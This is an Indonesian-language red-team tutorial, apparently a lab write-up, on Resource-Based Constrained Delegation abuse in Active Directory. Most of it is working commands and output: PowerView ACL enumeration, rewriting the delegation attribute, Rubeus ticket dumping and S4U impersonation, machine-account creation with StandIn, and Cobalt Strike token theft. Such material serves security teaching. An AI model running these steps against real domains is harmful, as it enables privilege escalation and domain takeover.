Post

[Kerberos] Resource-Based Constrained Delegation (RBCD)

Mengaktifkan Unconstrained atau Constrained Delegation pada komputer memerlukan penetapan hak pengguna SeEnableDelegationPrivilege pada Domain Controller, yang hanya diberikan kepada Domain dan Enterprise Admin.

Windows 2012 memperkenalkan jenis delegasi baru yang disebut Resource-Based Constrained Delegation (RBCD), yang memungkinkan konfigurasi delegasi ditetapkan pada target daripada sumbernya.

Sebagai perbandingan, Constrained Delegation yang dibatasi dikonfigurasikan pada servicefront-end” melalui atribut msDS-AllowedToDelegateTo.

Contoh yang diberikan sebelumnya adalah di mana cifs/dc-2.dev.example.io berada di atribut msDS-AllowedToDelegateTo pada SQL-2. Hal ini memungkinkan akun komputer SQL-2 untuk menyamar sebagai pengguna mana pun ke service apa pun di DC-2.

RBCD membalikkan konsep ini dan menempatkan kontrol di tangan servicebackend”, melalui atribut baru yang disebut msDS-AllowedToActOnBehalfOfOtherIdentity.

Atribut ini juga tidak memerlukan SeEnableDelegationPrivilege untuk dimodifikasi. Sebagai gantinya, kita hanya membutuhkan hak istimewa seperti WriteProperty, GenericAll, GenericWrite atau WriteDacl pada objek komputer. Hal ini membuatnya lebih mungkin untuk dijadikan sebagai peluang privilege escalation atau lateral movement.

Dua prasyarat utama untuk mengeksekusi serangan ini adalah:

  1. Komputer target yang mana kita dapat memodifikasi msDS-AllowedToActOnBehalfOfOtherIdentity.
  2. Kontrol terhadap prinsipal lain yang memiliki SPN.

0x1 - Exploitation Stages

Method 1: Have Admin Privileges on Compromised Computer

Step 1: Find Computers That Have ACL WriteProperty/GenericWrite/GenericAll/WriteDacl

Kueri ini akan mendapatkan setiap komputer domain dan membaca ACL mereka, memfilter hak yang menarik. Ini akan menghasilkan beberapa hasil, tetapi yang ditampilkan adalah yang menarik. Ini menunjukkan bahwa grup Developer memiliki hak WriteProperty pada semua properti (lihat ObjectAceType) untuk DC-2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Melihat ACL WriteProperty/GenericWrite/GenericAll/WriteDacl pada komputer domain menggunakan Poweview
PS > Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }

AceQualifier           : AccessAllowed
ObjectDN               : CN=DC-2,OU=Domain Controllers,DC=dev,DC=example,DC=io
ActiveDirectoryRights  : Self, WriteProperty
ObjectAceType          : All
ObjectSID              : S-1-5-21-569305411-121244042-2357301523-1000
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : InheritedObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-569305411-121244042-2357301523-1107
AccessMask             : 40
AuditFlags             : None
IsInherited            : True
AceFlags               : ContainerInherit, Inherited
InheritedObjectAceType : Computer
OpaqueLength           : 0

# Group developer 
PS > ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers

Step 2: Get SID From Compromised Computer

Cara yang umum untuk mendapatkan prinsipal dengan SPN adalah dengan menggunakan akun komputer.

Sebagai contoh, kita memiliki hak istimewa yang lebih tinggi pada Workstation 2, kita dapat menggunakannya.

1
2
3
4
5
PS > Get-DomainComputer -Identity wkstn-2 -Properties objectSid

objectsid                                   
---------                                   
S-1-5-21-569305411-121244042-2357301523-1109

Step 3: Modifies the msDS-AllowedToActOnBehalfOfOtherIdentity Attribute on the Target

Contoh kode PowerShell berikut menunjukkan bagaimana membuat security descriptor dalam format SDDL, mengubahnya menjadi format biner, dan menggunakannya untuk memodifikasi atribut msDS-AllowedToActOnBehalfOfOtherIdentity pada target.

1
2
3
4
# Sesuaikan SID-nya
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"
$rsdb = New-Object byte[] ($rsd.BinaryLength)
$rsd.GetBinaryForm($rsdb, 0)

Byte deskriptor ini kemudian dapat digunakan dengan perintah Set-DomainObject. Namun, Jika menggunakan Cobalt Strike, semuanya harus digabungkan menjadi satu perintah PowerShell.

1
2
3
beacon> powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc-2" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose

Setting 'msDS-AllowedToActOnBehalfOfOtherIdentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 67 233 238 33 138 9 58 7 19 145 129 140 85 4 0 0' for object 'DC-2$'
1
2
3
4
5
6
# Cek properti `msDS-AllowedToActOnBehalfOfOtherIdentity` pada DC-2
PS > Get-DomainComputer -Identity "dc-2" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Step 4: S4U impersonation

Selanjutnya, kita menggunakan akun WKSN-2$ untuk melakukan peniruan S4U dengan Rubeus.

Perintah s4u membutuhkan hash TGT, RC4 atau AES. Karena kita sudah memiliki akses admin, kita tinggal mengekstrak TGT dari memori.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
PS > .\Rubeus.exe triage

[*] Current LUID    : 0x3e7

 ------------------------------------------------------------------------------------------------------------------ 
 | LUID     | UserName                     | Service                                       | EndTime              |
 ------------------------------------------------------------------------------------------------------------------ 
 | 0x3e4    | wkstn-2$ @ DEV.EXAMPLE.IO | krbtgt/DEV.EXAMPLE.IO                      | 9/13/2022 7:27:12 PM |


PS > .\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

[*] Target service  : krbtgt
[*] Target LUID     : 0x3e4
[*] Current LUID    : 0x3e7

  UserName                 : WKSTN-2$
  Domain                   : DEV
  LogonId                  : 0x3e4
  UserSID                  : S-1-5-20
  AuthenticationPackage    : Negotiate
  LogonType                : Service
  LogonTime                : 9/13/2022 9:26:48 AM
  LogonServer              : 
  LogonServerDNSDomain     : 
  UserPrincipalName        : WKSTN-2$@dev.example.io

    ServiceName              :  krbtgt/DEV.EXAMPLE.IO
    ServiceRealm             :  DEV.EXAMPLE.IO
    UserName                 :  WKSTN-2$
    UserRealm                :  DEV.EXAMPLE.IO
    StartTime                :  9/13/2022 9:27:12 AM
    EndTime                  :  9/13/2022 7:27:12 PM
    RenewTill                :  9/20/2022 9:27:12 AM
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  qEQBH1TdRRjZiZ0iXbeCy4Z3MsOf30l8lLTNE4InemY=
    Base64EncodedTicket   :

doIFuD[...]5JTw==
1
2
# S4U Impesonation
PS > .\Rubeus.exe s4u /user:WKSTN-2$ /impersonateuser:namina /msdsspn:cifs/dc-2.dev.example.io /ticket:doIFuD[...]5JTw== /nowrap

Step 5: Extract the Ticket and Leverage It via a New Logon Session

1
2
3
4
5
6
PS > .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:namina /password:FakePass /ticket:doIGcD[...]MuaW8=

beacon> steal_token 4092
[+] Impersonated DEV\ababil

beacon> ls \\dc-2.dev.example.io\c$

Method 2: No Admin Privileges on Compromised Computer

Jika kita belum memiliki akses admin lokal pada komputer, kita bisa membuat objek komputer sendiri.

Secara default, pengguna domain diperbolehkan untuk menambahkan hingga 10 komputer ke dalam domain (diatur pada atribut ms-DS-MachineAccountQuota).

Ini berarti kita bisa mengkonfigurasi komputer dalam jaringan agar menjadi bagian dari domain, tanpa perlu hak administratif.

1
2
3
4
5
PS > Get-DomainObject -Identity "DC=dev,DC=example,DC=io" -Properties ms-DS-MachineAccountQuota

ms-ds-machineaccountquota
-------------------------
                       10

Step 1: Create Your Own Computer Object

StandIn adalah sebuah toolkit post-ex yang ditulis oleh Ruben Boonen dan memiliki fungsionalitas untuk membuat sebuah komputer dengan kata sandi acak.

1
2
3
4
5
6
7
8
PS > .\StandIn.exe --computer EvilComputer --make

[?] Using DC    : dc-2.dev.example.io
    |_ Domain   : dev.example.io
    |_ DN       : CN=EvilComputer,CN=Computers,DC=dev,DC=example,DC=io
    |_ Password : oIrpupAtF1YCXaw

[+] Machine account added to AD.

Step 2: Calculate Password Hash From the Computer

1
2
3
4
5
6
7
8
9
10
11
12
PS > .\Rubeus.exe hash /password:oIrpupAtF1YCXaw /user:EvilComputer$ /domain:dev.example.io

[*] Action: Calculate Password Hash(es)

[*] Input password             : oIrpupAtF1YCXaw
[*] Input username             : EvilComputer$
[*] Input domain               : dev.example.io
[*] Salt                       : DEV.EXAMPLE.IOhostevilcomputer.dev.example.io
[*]       rc4_hmac             : 73D0774058830F841C9205C857C9EE62
[*]       aes128_cts_hmac_sha1 : FB9A1AB8567D4EF4CEA6186A115D091A
[*]       aes256_cts_hmac_sha1 : 7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044
[*]       des_cbc_md5          : 49B5514F1F45700D

Step 3: Get TGT for the Computer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PS > .\Rubeus.exe asktgt /user:EvilComputer$ /aes256:7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044 /nowrap

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044
[*] Building AS-REQ (w/ preauth) for: 'dev.example.io\EvilComputer$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF8j[...]MuaW8=

  ServiceName              :  krbtgt/dev.example.io
  ServiceRealm             :  DEV.EXAMPLE.IO
  UserName                 :  EvilComputer$
  UserRealm                :  DEV.example.IO
  StartTime                :  9/13/2022 2:31:34 PM
  EndTime                  :  9/14/2022 12:31:34 AM
  RenewTill                :  9/20/2022 2:31:34 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  /s6yAyTa1670VNAT9yYBGya/mqOU/YJSLu0XuD2ReBE=
  ASREP (key)              :  7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044

Lalu, lanjutkan lagi ke tahapan Get SID From Compromised Computer dan sesuaikan.

0x2 - Restoring the Configuration

Untuk mengembalikan konfigurasi seperti semulai, cukup hapus entri msDS-AllowedToActOnBehalfOfOtherIdentity pada target.

1
PS > Get-DomainComputer -Identity dc-2 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

0x3 - References

  • https://github.com/FuzzySecurity/StandIn
  • https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
  • https://blog.netwrix.com/2022/09/29/resource-based-constrained-delegation-abuse/
  • https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation
This post is licensed under CC BY 4.0 by the author.